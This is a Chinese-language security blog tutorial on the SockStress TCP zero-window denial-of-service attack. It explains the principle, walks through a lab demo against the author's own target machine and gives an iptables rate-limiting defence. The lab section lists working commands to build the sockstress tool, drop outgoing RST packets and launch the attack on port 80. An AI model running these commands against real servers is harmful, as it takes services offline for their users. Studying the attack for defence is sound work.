SOCKSTRESS

0x00. SOCKSTRESS攻击简介

  SockStress攻击正好与Syn-Flood攻击原理相悖,它正是利用建立TCP/IP三次握手连接来实现拒绝服务攻击,而且与Syn-Flood不同它并非通过耗尽服务器的TCP连接数来让正常用户的正常请求无法响应,而是直接耗尽服务端的内存、CPU等资源让受害者宕机,属于非对称的资源消耗攻击,这种攻击方式的危害性极大,而且一旦遭受分布式攻击是几乎不能被抵御的。


0x01. SOCKSTRESS攻击原理

image

上篇文章已经给大家介绍过TCP/IP的握手过程了,所以这里就只讲一下SOCKSTRESS的攻击原理

  1.首先,攻击者大量请求建立三次握手连接

  2.成功建立ESTABLISHED之后,攻击者会将数据包中window的值置为0(window的意思代表client这边一次可以接受的数据大小,置为0之后表示client没有window来接受server发来的数据,然后server就会分配内存来维持TCP连接直到client有空闲的window与之通信),然而攻击者可不会维持什么连接,他只会不断的请求TCP连接耗尽server的资源

  3.当server这端维持连接达到一定数量之后,内存、CPU甚至是SWAP分区都会被耗尽,系统命令不能正常执行,想要恢复server唯一的办法就是断网

[*]下面是attacker发向server的一个ACK包,window被置为了0

image


0x02. SOCKSTRESS攻击实战

  这次的实战步骤比较简单,但是危害巨大,笔者会用自己的靶机演示,大家不要去攻击网络上的任何服务器。

环境准备

  1. SOCKSTRESS攻击脚本

  2. kali linux

  3. metasploit靶机 IP=192.168.1.104

攻击流程

1.下载Github上面的SOCKSTRESS攻击脚本并安装

git clone https://github.com/defuse/sockstress && cd sockstress/ && make

image

2.设置防火墙规则,过滤发送给server的REST包(不过滤的话server就会断开连接)

iptables -A OUTPUT -p TCP --tcp-flags rst rst -d xx.xx.xx.xx -j DROP

image

3.运行SOCKSTRESS攻击脚本,攻击靶机的80端口

./sockstress xx.xx.xx.xx:80 eth0 -p payloads/http -d 100

image

4.查看一下靶机可以看到内存和CPU已经被耗得差不多了,靶机的web服务已经访问不了,如果再多攻击一会可能就直接宕机

image


0x03. 防御措施

  对于SOCKSTRESS这种攻击方式我们可以设置防火墙规则,限制server在一定时间内与同一个IP建立TCP连接的数量,这样即使有大量的连接发过来也不会对server有太大的影响,但是这仅限于DoS,如果是DDoS的话那么就只有升级server的性能了

iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set && iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 30 --hitcount 10 -j DROP

image

可以看到由于我们设置了防火墙规则,一台kali对靶机的攻击效果微乎其微(因为30秒内server只与kali建立10个TCP连接),但是如果是DDoS那么结果也是可想而知。


0x04. 结语

  不太懂安全的人会认为发布攻击方法是在破坏互联网的稳定性,但这实在是片面的态度,理解攻击原理才是防御攻击最好的方式。让笔者最后再引用一句SOCKSTRESS作者的话:Pretending a problem doesn’t exist won’t make it go away.

文章目录
  1. 1. 0x00. SOCKSTRESS攻击简介
    1. 1.0.1.   SockStress攻击正好与Syn-Flood攻击原理相悖,它正是利用建立TCP/IP三次握手连接来实现拒绝服务攻击,而且与Syn-Flood不同它并非通过耗尽服务器的TCP连接数来让正常用户的正常请求无法响应,而是直接耗尽服务端的内存、CPU等资源让受害者宕机,属于非对称的资源消耗攻击,这种攻击方式的危害性极大,而且一旦遭受分布式攻击是几乎不能被抵御的。
  • 2. 0x01. SOCKSTRESS攻击原理
    1. 2.1. 上篇文章已经给大家介绍过TCP/IP的握手过程了,所以这里就只讲一下SOCKSTRESS的攻击原理
      1. 2.1.1.   1.首先,攻击者大量请求建立三次握手连接
      2. 2.1.2.   2.成功建立ESTABLISHED之后,攻击者会将数据包中window的值置为0(window的意思代表client这边一次可以接受的数据大小,置为0之后表示client没有window来接受server发来的数据,然后server就会分配内存来维持TCP连接直到client有空闲的window与之通信),然而攻击者可不会维持什么连接,他只会不断的请求TCP连接耗尽server的资源
      3. 2.1.3.   3.当server这端维持连接达到一定数量之后,内存、CPU甚至是SWAP分区都会被耗尽,系统命令不能正常执行,想要恢复server唯一的办法就是断网
    2. 2.2. [*]下面是attacker发向server的一个ACK包,window被置为了0
  • 3. 0x02. SOCKSTRESS攻击实战
    1. 3.0.1.   这次的实战步骤比较简单,但是危害巨大,笔者会用自己的靶机演示,大家不要去攻击网络上的任何服务器。
  • 3.1. 环境准备
    1. 3.1.1.   1. SOCKSTRESS攻击脚本
    2. 3.1.2.   2. kali linux
    3. 3.1.3.   3. metasploit靶机 IP=192.168.1.104
  • 4. 攻击流程
    1. 4.0.1. 1.下载Github上面的SOCKSTRESS攻击脚本并安装
    2. 4.0.2. 2.设置防火墙规则,过滤发送给server的REST包(不过滤的话server就会断开连接)
    3. 4.0.3. 3.运行SOCKSTRESS攻击脚本,攻击靶机的80端口
    4. 4.0.4. 4.查看一下靶机可以看到内存和CPU已经被耗得差不多了,靶机的web服务已经访问不了,如果再多攻击一会可能就直接宕机
  • 5. 0x03. 防御措施
    1. 5.1.   对于SOCKSTRESS这种攻击方式我们可以设置防火墙规则,限制server在一定时间内与同一个IP建立TCP连接的数量,这样即使有大量的连接发过来也不会对server有太大的影响,但是这仅限于DoS,如果是DDoS的话那么就只有升级server的性能了
      1. 5.1.1. 可以看到由于我们设置了防火墙规则,一台kali对靶机的攻击效果微乎其微(因为30秒内server只与kali建立10个TCP连接),但是如果是DDoS那么结果也是可想而知。
  • 6. 0x04. 结语
    1. 6.0.1.   不太懂安全的人会认为发布攻击方法是在破坏互联网的稳定性,但这实在是片面的态度,理解攻击原理才是防御攻击最好的方式。让笔者最后再引用一句SOCKSTRESS作者的话:Pretending a problem doesn’t exist won’t make it go away.
  • |